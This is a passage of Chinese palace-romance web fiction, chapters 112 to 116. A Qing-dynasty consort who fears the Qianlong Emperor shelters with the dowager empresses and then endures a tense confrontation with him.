“哀家无事吩咐你,只是你一旦决定不撞南墙不回头,那就永远都别回头了。” 魏紫菀笑了笑,“娘娘是在担心妾身吗,妾身真是荣幸,这辈子有娘娘这句话,妾身再无遗憾了。” “你怎么老是给哀家说这种话。”皇太后摇了摇头,贵妃这嘴皮子真厉害,什么时候都是甜言蜜语,她这把老骨头可受不得这种腻歪人的话。 她边说着边伸出手,魏紫菀以为她要抚摸她,便上前依偎在她腿上,“娘娘怎么片刻离不得人,也就是妾身才这般纵容您了。” 谁纵容谁?皇太后发现自己快要听不懂贵妃讲话了,而且还总是动不动就亲近她、说她好话,真以为她是那么容易说动的。 皇太后凝视一眼贵妃,最终还是将手放在她后背上,轻轻抚摸着,“哀家也是为你好,以后脾气可别那么硬了,就算心里难受,也得给哀家憋回去。” 她这个儿子在面对权力时,早就对她这个额娘狠下心来,贵妃最好识时务,别让皇帝生气了。 只要过了她儿子那关,往后贵妃想陪在她这把老骨头身边多久都无碍,她在活着时,总能护住贵妃的,就算没了她,也还有裕妹妹—— 尽管裕妹妹从年龄上来说,比她大了四岁,不过看裕妹妹整天带着两个小孙女还精气十足,她就知道她在精力上是比不过裕妹妹的。 “妾身何时脾气硬了?”魏紫菀惯来觉得自己脾气太软了,在宫里这么多年秉持着谁也不得罪的念头,与人为善,除非实在在她底线上蹦跶的,那就忍无可忍无需再忍了。 死到临头了,她还有些遗憾自己没跟那些潜邸旧人翻过脸。 何时脾气硬了?皇太后嘴角抽搐,她发现贵妃对自己有很大误解,还满脸无辜,好似自己真是那任人欺负与人为善的大好人了。 可曾经骂了慧妃、又不给高位们好脸色、哪怕有高位主动亲近都毫不在意的人,那不就是贵妃吗? 难不成她还眼瞎见到第二个贵妃了,她忍不住道:“你不是骂过慧妃吗?” “那不是她招惹了妾身吗?” 皇太后眼皮子跟着跳起来,贵妃在她面前好歹掩饰一下啊,这些年在皇帝面前伺候训练出来的眼色怎么在这会儿排不上用场了。 “你还给哀家甩脸色。” “是吗?”魏紫菀表现得比她还惊讶,“妾身原来做过这么过分的事吗?那妾身该打,只是妾身身子受损了那就不好伺候娘娘了,就让妾身给娘娘捏捏肩膀捶捶腿吧,您喜不喜欢?” 魏紫菀立马起身绕到她身后给她捏着肩膀。 皇太后本来越想越气,还想着翻旧账,只是看到贵妃这样,刚憋在心里的气突然就散了。 罢了罢了,还是她太过斤斤计较了,贵妃也不是什么时候都一副硬脾气的,就好比现在,那不就顺着杆往上爬了。 皇太后被她气笑了,但又不得不承认,贵妃想哄着一个人的时候,她这把老骨头都撑不住。 “得了,哀家还不知道你,你这脾气在寿康宫耍耍还行,出了这寿康宫可得注意自己了。” 到底恩宠不如从前了,她不保证她那个儿子会不会秋后算账。 “那妾身就不出去了,就在寿康宫陪着您和额娘长长久久一辈子可好?” 甜言蜜语!花言巧语!巧言令色!巧舌如簧! 皇太后心里不解气,接连骂了四句话。 要不是知道贵妃本性,她还真被贵妃这句话拿捏了。 不过贵妃本性也不坏,在宫里没害过人命,甚至储秀宫的一众妃子和奴才都一心想着贵妃。 这样一想,皇太后就不觉得自己被贵妃哄骗了,“那你最好说到做到。” “太后娘娘,妾身何时骗过您。” 魏紫菀笑了笑,“您要是不信妾身,妾身也不跟您斤斤计较从前的日子,就从今日开始好了,您要是数着哪天凑不上数,您就尽管骂妾身吧。” “哼。”皇太后冷哼,“哀家骂你做什么?” 第112章 第112章更新来了 “哀家要是骂你,你也不会待在哀家面前了,别以为哀家不知道你就那副脾性。” 皇太后眉头紧皱,贵妃这股吃软不吃硬的脾气,魏氏一族是怎么养出来的,连脾气都敢对皇帝发。 早些年还跟她憋气。 也就是她脾气好。 魏紫菀给她按揉肩膀的 动作停下来了,语气柔柔弱弱。 “人都是会变的,都说士别三日,即更刮目相待,娘娘是不信妾身长进了?刚进宫时妾身什么都不会,不识字,不会女红,也不懂规矩,可现在,妾身都会了,不精通归一回事,但会不会又是一回事,还请娘娘就当妾身变了吧,再说了,妾身是吃了熊心豹子胆才敢对您发脾气吗。” 想想过去的自己,魏紫菀得说一声自己真拼,在竞争环境这么恶劣的地方还想着争宠、庇护子嗣,防止别人对她性命下手。 想想看真可笑,她除了让自己的孩子确实出身好,享有荣华富贵,她也没得到什么,甚至这里的娱乐环境还不如现代的快活。 她居然还要防着自己被枕边人夺走性命! 魏紫菀眼底冷漠一闪而过。 现在的情况是,皇帝越是冷待她,越是让她处在一个忐忑不安的环境中,她就想得越多,想得越明白,过去近十年都在试图蒙蔽自己的东西有朝一日全数释放出来了。 她清醒了,也就真的不将皇帝放在心上了。 死就死吧,烂命一条。 如果不是还有儿女、家族,她可能真想试着在皇帝杀她之前杀了皇帝。 皇太后叹了口气,“可那时你已经进宫多年了,还生下和恪了。” “是吗?”魏紫菀不以为然,“那可能是娘娘记错了吧。” 瞧瞧!瞧瞧! 皇太后又被她这话气着了,贵妃这是怎么回事,说话都带着火气。 放眼后宫有哪个妃子敢这么对她说话,贵妃不吃熊心豹子胆也敢在她面前发脾气,还说这不是发脾气。 魏紫菀突然软了语气,“娘娘啊,妾身进宫快十年了吧。” “怎么了?”皇太后也跟着放软了语气。 魏紫菀摇了下头,“妾身最近想起从前很多事,娘娘,永璐从未见过他生母,若是有一日,您去了圆明园,便将永璐带到他生母面前见上一面吧。” 她也不知道她能活多久,先将该交代的事情都交待了吧。 皇太后疑惑,“这事你自己做不就行了,柏氏有错,但毕竟是永璐生母,皇帝不会生气的。” “妾身知道,可是有些事情总不如人愿。” 魏紫菀语气淡淡,脸色更淡。 皇太后眼皮跳得厉害,猛地回头,平生头一次想彻底弄明白贵妃和皇上之间到底发生什么事了,“你告诉哀家怎么回事?你刚才说的那事,哀家不允,要去你自个去。” 魏紫菀一双清眸直白对上皇太后那双带着血丝的眸子,浅浅笑了笑,“娘娘在担心什么,如果妾身真如您所说,是个憋不住自己脾气的,您觉得有谁能让妾身受委屈呢。” 皇太后心跳如雷,贵妃的话,一句都不能信。 她总有种贵妃存了死志的感觉,这种感觉前所未有的强烈,她忍不住喝骂道:“贵妃,你别做让人担心的事,宫妃自戕乃是大罪。” 魏紫菀仍是张口闭口就是嬉皮笑脸,“娘娘您在担心什么,您看妾身是会做出这等蠢事的人吗?” 要是有一天她连家族儿女都不顾了,她第一时间不是自戕,而是先杀了皇帝,皇太后到时就得恨上她了。 皇太后不吭声了。 这是她头一次乱了规矩对一个宫妃说出这种话,但是,贵妃的一举一动都在说她不对劲,她憋出一句话,“你别乱想。” “妾身从来都不会乱想。” 她不过是明白自己真正的心思罢了。 魏紫菀认真答道。 皇太后脸色紧绷,她真想现在就将贵妃赶出寿康宫,别仗着在她面前得脸就能无所顾忌。 但她又清楚,她这地儿是贵妃唯一的栖身之所了,她要是真将贵妃赶出去。 贵妃会死的。 她不知何时眼睛泛起泪水,滴滴滑落,魏紫菀惊讶她为何哭了,将帕子递过去,“娘娘擦擦,妾身并非有意惹您生气的,您别将妾身说的荒唐话放在心上,就当是妾身在跟您开玩笑的,妾身从没想让您哭的。” “开玩笑?”皇太后眼泪流得更厉害了。 从前年氏、李氏去的时候她都没有哭得这样伤心,但是面对贵妃,她却控制不住的哭,她也不知道自己在伤心什么。 可能是头一次觉得贵妃死了可能比活着好受吧,但她是决然不愿意贵妃死的,贵妃还这般年轻、貌美,她甚至一辈子不争皇宠,只要活下去就好。 “哀家不跟你开玩笑。” 魏紫菀愣住了,不开口了。 她在想为什么她们总是哭。 现在是皇太后在哭,前些天她看到婉嫔和颖贵人,她们也在对着她哭,可是这有什么好哭的,她也没对着她们说难听的话。 但是哭就哭吧,她也不会对外人说她们哭过的事,顶多是心里笑她们都过了小孩年纪,怎么还这样喜欢哭。 连和静和恪两个孩子也不经常哭了。 魏紫菀眸子轻轻眨了眨,弄不懂她们的心思,也没心情弄懂了。 …… 乾清宫,“贵妃……可传来消息了?” 乾隆解决了那几个搬弄是非的宫妃,等了半日,终是忍不住问出口。 奴才禀告:“回万岁爷,贵妃娘娘在寿康宫陪着皇太后,一切安好。” “是吗……”乾隆久久没有言语,总觉得心里闷得慌。 贵妃越是这样,他就越是心慌。 她真的一点都不在乎朕了?还是说,儿女婚事、家族前途,也全然不在乎了? 回想起这些年来,她似乎对他从未有过为家族请恩之举吧。 她好似突然降临到他身边的红颜知己,陪他走过了近十年岁月,他以为他会很了解她,但是直到现在,这事发生后,他回想起过去种种,他竟不知道她真正喜欢什么。 也不知道她当时为何会那样轻易接受了‘圆寿’就是‘弘历’的真相,并且顺理成章成为他的宫妃。 如果她有贪欲,那这些年来她为何不为自己家族争、不为自己儿女争。 可如果她是一心一意对他,那为何那时会让他见到那样一幕,至今也不愿意出现在他面前解释一句。 她明知道,哪怕她只是骗他的,他也会信的。 “起驾寿康宫。” 他不想再等了,他想亲自去问清楚。 第113章 第113章更新来了 魏紫菀却在得知皇帝过来前退下了。 她确实没必要去见皇帝,干脆留在裕贵太妃身边,比起皇太后,裕贵太妃更不会将她推出去。 裕贵太妃轻轻叹了口气,吩咐下去自己乏了,谁也不见。 便望着贵妃道:“你想怎么样?” “额娘,女儿不想怎么样。”魏紫菀叹了口气,她光是想到皇帝会过来就脚底生寒。 “那便陪着哀家吧。”裕贵太妃抓着她的手,“哀家许久没跟你睡过了。” 魏紫菀眉眼弯弯,“那女儿哄您入睡。” “你拿什么哄?”裕贵太妃笑问道,“兴许是哀家哄你也说不定。” “谁说的。”魏紫菀难得神采飞扬,“您可别小看女儿,这四个孩子哪一个不是女儿哄大的。” “哎哟哟,你将哀家当小孩了?”裕贵太妃被她逗笑了,“话不能说太满,有句话是这样说的,满招损谦得益,你在哀家面前坦诚点也无碍。” 她指了指她胸口部位。 魏紫菀假意没有听到她的意有所指,笑了笑,便扶着这位老太太去床上了,“您快躺着。” 裕贵太妃笑着拍了下床,“你也上来。” “那女儿多不好意思啊。”魏紫菀又故作推脱。 “叫你上来就上来,跟哀家推脱什么。”裕贵太妃板起脸来,魏紫菀忍不住笑了,“是。” 魏紫菀特地拿了本京城流行的话本,寿康宫的皇太后在皇后嫡子出生前,总是不断向老天爷祈福,向佛祖求恩典,宫里的太妃们也跟着尚佛,少有了解京城话本的时候。 生活鼓噪无味。 她能快速融入寿 康宫有一个重要原因,她很会讲故事,还格外符合老太太们的品味,因此她刚翻开话本时,裕贵太妃便迫不及待问道:“上回讲到那千金小姐午夜梦回到救她的那头白狐身上吧。” “是,确实如此。”魏紫菀翻开牙签夹着的地方,回想着上回讲到了哪儿,这话本并非一成不变,她还加入了挺多改编。 一般是母白狐救书生,到她这里成了公白狐救千金小姐,反正故事情节不变,变的是角色。 “您还说女儿哄不好您,您这不等着女儿给您讲故事吗?” “哼,你这是在怪哀家了?” “不,女儿只想将您刚才对女儿说的话还给你,”魏紫菀顿了一下,眼底漾出笑意,“您在女儿面前坦诚点也无碍。” “你真是半点都不吃亏。”裕贵太妃被气笑了,但也不是真生她的气,只是觉得有些不可思议,“你从前可没胆子跟哀家这样说话。” 应该说是没胆子跟太后太妃、皇帝皇后这么说话。 她回想起从前,觉得贵妃胆子大了,但她伸出手拍了拍贵妃手背,“这样也好,你说着,哀家就听着。” “是。” 魏紫菀小心翼翼脱鞋解衣上/床,挨着裕贵太妃,“我们上回说到了……” 声音从大到小,从远到近,门外,皇帝脸色彻底僵住了。 他不可能擅闯自己长辈屋里,这是对庶母的不敬。 皇太后看了他一眼,“回来吧,站在那儿做什么,贵太妃已经睡下了,过来陪哀家说说话。” “是,皇额娘。”皇帝终是移开步子了。 皇太后无意跟他讲起贵妃的事,都决定要护着贵妃了,她倒没有执意要让两人和好的意思在。 将贵妃推给皇帝,贵妃会死的。 她的感觉向来很准,犹如当年她进门只是格格时,谁都能拿捏她,但是她又有种谁都拿捏不了她的感觉。 而现在也果真证实了她的感觉。 她们都死了,她还活着,还成为了皇太后。 所以她相信自己的感觉。 “皇额娘,紫菀她——”皇帝刚坐下就迫不及待开口了。 “贵妃陪贵太妃睡下了,倒无事发生,和静和恪两个孩子也乖巧可爱,你可要看看这两孩子?” 乾隆愣了一下,“两个孩子就没必要看了,朕想看看贵妃。” “贵妃睡下了。”皇太后再次强调,语气不冷不热,透着股漫不经心。 皇帝脸色顿冷,“皇额娘这是不愿朕见到贵妃?” “不是不愿,只是贵妃睡下了,她是个好孩子,陪着我们俩老骨头,也算是替你孝顺我们了,皇帝,贵妃又不是犯下天大过错,她是个好孩子啊。” 皇太后再次强调,“你就让她陪着哀家和裕妹妹吧。” “皇额娘,那朕怎么办?” “什么?”皇太后诧异抬头。 “皇额娘,朕该怎么办?” 皇帝艰难道。 皇太后反倒诧异,该怎么办就怎么办,这些日子皇帝身边没缺过妃子,何必非得找上贵妃。 皇太后也算是心疼自己儿子的性子,但对上皇帝这句话,是真的无言以对。 贵妃对皇帝的惧怕是真的,恨不得去死的心思也是真的,皇帝明知道事情缘由,却还是问她‘该怎么办’。 她提醒道:“你要是步步紧逼,终是念想成空。” 她感觉她这个儿子对贵妃未必有多在意,只是近十年的宠爱让他一时间不习惯贵妃抽身离去,但是再过些时日,皇帝必然像当初减了对慧妃的宠爱转而宠爱贵妃那样,很快将贵妃抛到脑后,去宠爱新妃子。 “哀家听说今年大选也算是进了好些美人,若是伺候你得当,便升升位份吧。” 皇太后的一举一动都在表示,贵妃现在成了寿康宫的人,皇帝要是想寻宠妃,便另外去册封新宠妃吧,总有符合皇帝心意之人。 动谁都好,就是别动贵妃,她会护着贵妃。 皇帝深深看了她一眼,“皇额娘,儿子自有分寸,后宫——”“后宫不得干政,哀家明白。” 皇太后轻轻点头,“儿啊,就当皇额娘求你一回了,既然你跟贵妃情分不如从前,贵妃伺候哀家得当,让贵妃留在哀家身边吧。” “皇额娘,您知道您在说什么吗?” “哀家怎么不知了。这宫里什么妃子没有,若是贵妃犯了错,哀家会罚她,总会让她长进的,宫中妃子的本分就是好好伺候你,给你开枝散叶,哀家看那些个新人挺好的,就提提她们的位份吧。” 在乾隆眼里,皇太后这番话无疑是胡言乱语,他怎么就不知他跟紫菀情分大不如前了,荒唐可笑。 他极力平心静气,“皇额娘别跟儿子胡闹了,您说的那些话,儿子一句都不信,贵妃何时出来,朕就等到何时。” 他端着杯茶,从热到温,从温到凉。 皇帝出乎意料的有耐心。 皇太后眼皮跳得厉害,心里叹了口气。 第114章 第114章更新来了 也因此从中午到傍晚,皇太后几度乏困,劝他回去他也不回。 便来了脾气,“弘历,哀家说了多少遍哀家困了,你该回去了,你守在这里有何用,这天下多少美人,只要你愿,你想纳何人为妃,哀家都顺着你来,只要那女子是家世清白的,你想要什么美人没有。” 皇太后真忍不住发脾气了,皇帝过去宠爱慧妃,现在宠爱贵妃,一个宠爱了十多年,一个宠爱了近十年,贵妃受宠的日子还没慧妃多,皇帝要是跟她说什么情深难改,她死后一定要大着胆子问一回先帝,皇帝这身自诩情深的本事是不是从先帝爷身上学来的。 就像先帝早年宠爱齐妃,后来宠爱年贵妃。 这父子俩脾性一模一样,但是在齐妃年老色衰后,在年贵妃病逝后,也照样不耽搁先帝爷宠爱别的宫妃,甚至宫里一大堆没名没分的宫女子,都是受过先帝爷宠幸的,只是先帝爷登基十三年,走得太快了,少有人留下个位份罢了,所以才显得后宫妃子不如圣祖爷的宫妃多。 众多身份不显的宫女子也就谦太妃有幸怀上身孕有了位份。 说什么情深,她想问问这对父子什么是情深。 若是贵妃耽于情爱,她还能说一声皇帝确实对贵妃上心了,但贵妃明摆着一副惧怕皇帝的模样,她就算是蒙着心肝说自己儿子千好万好,这会儿她也蒙蔽不了自己真心所想了。 她可以说贵妃这人奸诈狡猾,也可以说贵妃心思深沉,甚至能为了自身处境见人说人话,见鬼说鬼话,但是她就没见过贵妃辜负过身边人。 不是亲生子的永璐都当作亲生子嗣对待,亲子永琮有的,也亏不了永璐这个养子。 为了女儿能留京,敢对天子之母耍心眼,想尽办法让两个女儿将寿康宫当自己家。 连自己宫里的妃嫔都找了门养活自己的生计,即便不靠帝王宠爱,也有银两打点奴才。 她也没见贵妃为自己娘家人谋过一官一职,甚至贵妃小弟现在都还是蓝翎侍卫,贵妃大哥是凭自己真本事考上的一官半职。 她将贵妃的小心谨慎看在眼里,也将贵妃的真心待人看在眼里,贵妃不会辜负对她真心的人,她是不喜贵妃的城府,但这不代表贵妃没人护着了。 “皇额娘,您知道紫菀对儿子来说是不一样的吧。” 皇帝艰难道:“儿子不过是有一事想问清楚贵妃罢了。” 皇太后满脸不解,“既然是有事想问,贵妃已经陪裕贵太妃睡下了,你跟哀家说罢,哀家告知贵妃。” “朕想亲口问贵妃。”乾隆闭了闭眼。 “那你明日过来问罢。”皇太后不想惯着自己这个儿子了,平生头一次,她觉得弘历实在烦人。 “贵妃不出来,朕就不走。” 皇太后猛拍桌子,“皇帝,你看看你还有一个皇帝模样吗?先帝将皇位交给你就是让你为一个女人魂不守舍,你是想步其后尘?你想想看你祖宗!你眼里可还有爱新觉罗氏的列祖列宗?” 乾隆并没有被她骂动,语气极为平静,“皇额娘,儿子知道自己在做什么,您不必多说。” 皇太后语气沉沉,“哀家看不懂你了,哀家还能看懂贵妃,唯独不明白自己十月怀胎生下来的儿子。” 弘历别详作深情将自己都骗了,她怜惜贵妃,也不想弘历看不清自己心思,只是换个宠妃的做法,何必再继续折腾贵妃。 她放缓声音,“弘历,哀家过些时日亲自给你选几个美人,保准是万里挑一的颜色——” “皇额娘,您别说了。”乾隆脾气又暴躁了,他站起来,“您多说 无益,儿子就不明白您为何总是拦着儿子,认定儿子是个无情之人。儿子也是人,您就觉得儿子对贵妃没有一点感情吗?” 皇太后见过的事情多着去了,她只平静问道:“这只是因为贵妃姿色尚好,容貌尚未衰退,也正处一个女子最好的时候。”如果像齐妃那样年老色衰,只会落得一个失宠的下场。 “还因为贵妃不对你千依百顺了,所以你才会执念一经升起,无法释怀。”像年贵妃那样即便自家兄长被帝王绝了生机,年氏一族受到重创,在死之前还念着负了君意,先帝也就伤心了一阵子,往后该进出后宫时,从不落下。 若是年氏在死前说自己这辈子不曾爱过先帝,想必先帝这辈子都无法释怀,念念不忘,以生执念,临终前都还憋着口气。 贵妃只不过是不做年氏的姿态,不愿理会弘历了。 贵妃何错之有,而弘历又缘何放不下这事。 她抬眼看着自己儿子,“弘历啊,既然贵妃陪哀家高兴,你就回去吧。” 乾隆快被气坏了,隐隐有些崩溃,他怎么说都说不过皇额娘。 “皇额娘,为何您就不信儿子,儿子也有真心,即便您说贵妃年老色衰,儿子也想过以后跟贵妃白头偕老,您说贵妃不对朕千依百顺,但朕也不要她对朕千依百顺,她可以叫朕圆寿,也可以叫朕弘历,她想让和静和恪都留京,朕也成全她,朕还怕永璐这孩子对她不孝,让他娶了贵妃侄女,您怎么就质疑儿子的真心。” “您怎么能质疑儿子的真心?” 皇太后仍是平静道:“你回去吧,哀家乏了。” 真心这种东西说说就算了,弘历让她再度想起先帝了,从前不当一回事的事情回想起来后,如鲠在喉,先帝对年氏就没有真心吗? 也是有的,所以年氏对先帝痴恋一辈子,一辈子都舍不下一颗真心,但年氏去后,过去不过一两年,后宫便多出太多受过宠幸的宫女子了。 她就当弘历现在对贵妃是有那么一丝真心的,但越是相信,就越明白不过是又一个先帝。 而且弘历反复说这个,她没说腻也听腻了。 “皇额娘,为何你们都不信朕。” 乾隆知道贵妃现在仍躲着他,也有裕贵太妃的纵容。 “哀家信你,只是哀家乏了,皇帝你该回去了,有什么话,以后再说,总能让贵妃知道的。” “你根本就没信过朕!” 乾隆喃喃自语。 却听到身后响起一道声音,“妾身给万岁爷请安。” 乾隆僵住了。 一刻钟前,魏紫菀听说皇帝还在正殿坐着,就知道这一次或许难以避开帝王了。 她强行压下种种不适,收拾好自己,推开房门,这一回是生是死,早点说完,她也好早投胎。 反正让她像从前那样对帝王情意绵绵,已是昨日之事了。 第115章 第115章第一更 “贵妃,朕——”乾隆艰难转过身来,入目便是他千思万想的容颜。 魏紫菀平静道:“万岁爷有何事吩咐妾身?您尽管说。” 她发现自己看到皇帝时,比她原想的还要镇定。 她以为她对上皇上会哭会闹会不知所措,也会惧怕皇帝,下意识想避开皇帝,可是,一切想象都抵不过她真正面对皇帝时。 她心情平静,没有一丝波澜。 “贵妃,你就没有要跟朕说的话吗?”乾隆忍不住上前两步,语气轻柔飘忽,怕扰了眼前人。 “万岁爷想听妾身说什么,妾身都能说给您听。” 魏紫菀眉眼弯弯,眼底没有一丝笑意,假到乾隆一眼就能看出她的笑容是假,话也是假的。 她没看帝王,反而看向皇太后,屈身行礼,“妾身给太后娘娘请安,太后娘娘万福金安。” “起来吧,坐吧,哀家乏了,先下去了。”皇太后捏着眉心,也是后知后觉自己方才反应太过激动了,毕竟一个是她儿子,一个是她儿子宫妃,她老了就总是想到过去的旧人,一时间连过去的悲愤都带到现在,这是不应当的,真是越老越回去了。 也因此现在心力耗尽后,全身疲累,她让奴才将她扶进去了。 既然贵妃并不抗拒见到弘历,两人说清楚事情也好,若是贵妃决定再继续留在寿康宫陪着她们,这回估计就是永远都不改变主意了,这样也好,不被后宫事牵连。 “是,妾身恭送太后娘娘。” 魏紫菀目送皇太后离去,但没有像皇太后说的那样坐下来,皇帝站着,她不好坐着,她就看着皇帝,静静地看着,看他何时才有反应。 “贵妃,你对朕笑一笑吧,像从前那样。” 乾隆不知自己怎么就说出这话了,但他知道,他看贵妃这样,心里很不舒服,憋闷极了。 好似有人在心里重重一击。 魏紫菀莫名,却仍是像之前那样露出一个温柔的笑容,“是这样吗?万岁爷。” “不是、怎么可能是这样,你再重新笑。” 乾隆急得过来抓住她肩膀,魏紫菀看了他一眼,又露出一个恬静的笑容,“万岁爷,是这样?” “都不是,你怎么能这样对朕笑,你从前根本不是这样的。” 乾隆不知怎么形容自己那股彻骨的寒意,他松开手,眼底全是不可置信,“你从来不这样看朕的,也从来不对朕这样笑的。” 魏紫菀觉得越发莫名了,她从前就是这样看皇帝的,她当了近十年宠妃,难道她还不知道自己笑起来跟从前别无二致吗?她总不可能来到寿康宫一段时日后就变了容貌吧。 既然容貌不变,笑容弧度也跟之前一样,怎么可能会发生变化。 果然皇帝在她面前演都不演了。 罢了,既然做好准备了,她也该知道皇帝本无心,想要怎么处置她就怎么弄吧。 她也懒得对付皇帝了。 “万岁爷大抵是看错了,妾身从前就是这样看您的。” 是用这种在他眼中算得上是虚情假意的眼神,皇帝喜欢她这样看他,她满足他了,这世间还有比她更善解人意的妃子了吗? 她断定没有了。 乾隆站定不动,紫菀从前怎么可能用那种可笑的眼神看他,紫菀从前最是心软,看他也有种说不出的温柔。 他从前最喜欢看紫菀眼底慢慢染上他的颜色,可能她也没发现吧,她从前看见他,总是下意识放松,好似这世间有了他,什么烦恼忧愁都能解决了。 他明明最喜欢看到她对他信任的模样了,但为何这一切都会被打破,不过是出宫一趟,为什么一切都变了。 他当时为什么会觉得紫菀从前对他的感情是假的。 如果是假,那现在紫菀看他的眼神为何让他这样心慌。 好似原本对他的真心,经过这一遭,彻底散去了。 他用了将近十年精心照顾的紫菀花,一夜之间,枝折叶落。 “你再看看朕啊,你别这样看朕了,这一点都不像你,你该像从前那样看朕,你为何不看朕了,你看朕啊,你别用那种眼神看朕。” 这番颠三倒四的说法,还是让魏紫菀高估他了。 魏紫菀蹙眉,她在想自己现在的眼神跟从前的眼神有何区别,在皇帝眼里不都假得很吗,皇帝在她面前发什么疯。 一会儿让她看他,一会儿又不许她看到他。 她是不是得将自己脸上一双眼睛挖下来,好省去皇帝命令她的功夫。 “皇上,您大抵是累了,您坐下来歇会儿吧。” “不,朕不歇,你看朕,你再看看朕可好,紫菀,你看朕。”皇帝又上前抓着她肩膀。 “你看朕啊,你为何要用这种眼神看朕,你为何变了,你回到从前的样子,朕想看看你从前看朕的模样。” “是。”魏紫菀心里平静地断定,皇帝确实是有些疯了。 她露出一个跟刚才别无二致的笑容,再次问道: “万岁爷,是这样吗?” “怎么可能是这样!”皇帝绷不住了,将桌上的茶杯抓起来狠狠往地上摔去,好似这样,就能发泄出心里的不安和惶恐。 但下一刻他看到紫菀下意识颤抖并且身子往后退的动作时,心里闷得好似无法呼吸,“紫菀,你别怕朕。” “万岁爷说错了,妾身怎么会怕您,妾身最最敬重您了。” 魏紫菀强颜欢笑,不敢再往后退了。 她且看看皇帝今天要发多久疯,赶紧疯完赶紧回去,她还真怕皇帝疯完之后对她动手了。 乾隆忍不住上前,魏紫菀终于克制不住自己心里的害怕,往后退了一步,他越是上前,她就越是无法控制自己。 她是真的害怕皇帝。 怕皇帝将那杯子往她头上砸,也怕皇帝对她拳打脚踢。 皇帝不是没用东西砸过人,也不是没用拳脚教训过宫妃,从前她没犯事当然不用怕皇帝,但是今非昔比了,皇帝的信誉怎么能信。 也不知皇帝何时停住了脚步,魏紫菀只记得皇帝留在寿康宫的最后一面是狼狈地往门外离开。 但她顾不上这些,她只知道自己终于能松一口气了。 皇帝离开了,她的性命保住了。 劫后余生,她真乃大富大贵的命。 她连最恐怖的画面都想象过了,但好在皇帝虽然生气,但没气到要对她动手的程度。 过了这一劫,想必往后日子都是好的。 魏紫菀禁不住露出一个虎口余生的笑容,子衿上前扶住她,目光全是担忧,“娘娘,奴才去请太医过来吧。” 第116章 第116章第二更 魏紫菀反倒好心情安慰她,“怕什么,最难的一关已经过去了,本宫再也不用担心了,也不必给本宫请太医,请什么太医,本宫好着呢。” 她只是头上身上都冒出一身冷汗了,只要擦干净就好。 但显然,她的发言不足以让奴才们放心她,将她扶进里屋再打来暖水,关上房门便给她擦身子。 魏紫菀也任由她们动作。 她双手克制不住地颤抖,即便心里为劫后余生高兴,但是下意识的生理反应是控制不住的。 但是这一次很让人高兴,皇帝即便在那样暴怒的前提下,也没将她灭了,那下回见面肯定不像这次见面那样生气了,她应该能平安无事当贵妃了。 真是太好了太好了太好了。 太好了! 魏紫菀不知怎么形容自己心底的高兴,说是劫后余生还太浅薄了。 她以为她会被人折磨致死,这种生不如死的惊慌让她这些日子总是从睡梦中惊醒,但是从今天开始,她能睡个好觉了。 活着的滋味真幸福啊。 尤其是每日能看见朝阳升起夕阳落下,这是世间最最幸福之事了,她要说无数遍活着真好啊。 哪怕有赴死的勇气,但只要能活着,活着的每一日都是美好至极的。 魏紫菀对身边的奴才露出了一个从心底迸发的欢快笑容,“有你们一直陪在我身边,是我的幸运。” 也就是看到自家主子这个笑容,子衿才彻底放松下来,“娘娘,您快吓死奴才了,下回可不许这样了。” 青柳道:“下回?可不许有下回了,子衿姐姐,你这嘴该打。” “是,确实没有下回了。”子衿笑眯眯轻轻打了自己嘴巴一下,娘娘恢复如前,她最是高兴。 毕竟从一开始,娘娘就是她在深宫唯一的朋友了,说句越矩的话,她也不单纯将娘娘当作娘娘,她知道娘娘活着的一天,她就有人护着,可是啊,若是哪日娘娘不想活了,她也陪着娘娘去吧。 总归黄泉下得有个人陪着说说话,反正她是奴才,并非宫妃。 奴才自戕了还能说一句忠心,非但不会连累家族,还会得到皇家恩典。 绿柳温柔道:“娘娘您确实会一辈子幸运下去,不过并非是您遇到了奴才幸运,是奴才遇到了您才幸运。” 魏紫菀绷不住笑容了,“说什么呢,说话这么别扭,听得我满身不适,我看你根本就不适合说这话。”怪肉麻的。 放在这深宫中,根本就不适配啊。 “是是。”三人不放在心上,娘娘什么性子一目了然,比别扭,她们也比不过娘娘。 不过娘娘能放松下来真好,无论有什么劫难,咬咬牙就过去了,日子总会越过越好的,回去就告诉关嬷嬷和李公公这个好消息! 魏紫菀忍不住看她们一眼,又一眼,总觉得她们身上要冒圣光了,怪怪的。 魏紫菀心情颇好想站起来,却发现自己手脚都软了,只得由身边奴才扶着她走进屋,然后陪着两个熟睡的女儿睡觉。 得亏她刚才出来时,裕贵太妃已经睡着了,鼾声如雷,让她忍不住地笑。 她倒是能在老太太的鼾声中熟睡,但是她现在脑子太过兴奋了,回去裕贵太妃身边虽不怕吵醒睡眠质量超好的老太太,但是她这回可就真睡不着了,不如过来陪陪两个女儿。 该说不说,她的两个女儿睡得可真熟啊。 让她不禁盼着将来儿女们都成家后,在京城定居,她偶尔去永琮王府住一会儿,偶尔再去永璐王府住,若是住腻了,那就去和静的公主府,要不去和恪的公主府。 四个儿女,足够她这辈子都抱着新鲜自在感过完后半生了。 不过哪怕是对未来抱有美好的幻想和希翼,当下,她最盼着的还是孩子们平安长大,不管未来如何,只要她们活得好,便是最好的结果。 …… 乾隆形如半疯,来到养心殿便将御案上所有东西都撒落一地。 “都给朕滚!” 皇帝发疯般到处砸东西,无人敢阻拦。 皇后听说了脸色一白,赶紧过去看,却被皇帝那一眼满是血丝的眼睛看得失了胆色,不敢上前。 皇帝砸个没完没了,这是皇帝头一次在众妃面前发疯。 跟着皇后过来的有娴妃慧妃等人,都被皇帝那骇人的一面惊住了。 半个时辰后,皇帝才喘着粗气慢慢平复过来,奴才们小心翼翼上前收拾东西。 乾隆抬眼看向皇后,眸中满是无趣,“都给朕滚。” 皇后心里重重一跳,“万岁爷,臣妾——” “给朕滚,皇后,你耳聋了吗?” 乾隆平静道,这会儿,什么帝后相敬如宾的话彻底被他抛到脑后。 “朕问你,你是耳聋了吗?” 皇后满脸惊惧,“是,臣妾告退。” 她手心冒汗,赶紧退下。 皇上怎么会这样,皇上头一次对她说这么重的话,还是当着这么多宫妃的面。 她本不想对上皇帝的,可她身后跟着这么多人,她要是让其他人看了她被皇帝轻视的一面,她在众妃面前的脸面不复从前。 她以为皇上会给她脸面的,结果,皇帝将她脸面全扒下了,一种无法言说的屈辱感在心里反复升起。 她感觉到身后的宫妃惊惧的眼神,以及往她身上打量的、散之不去的恶意。 …… 魏紫菀以为自己会像往常那样对上两个乖巧的女儿。 这阵子两个女儿可乖巧听话了,像两块软软的小甜糕,但是,她们这回睡醒后,好似确定了什么,放开劲在她面前撒欢。 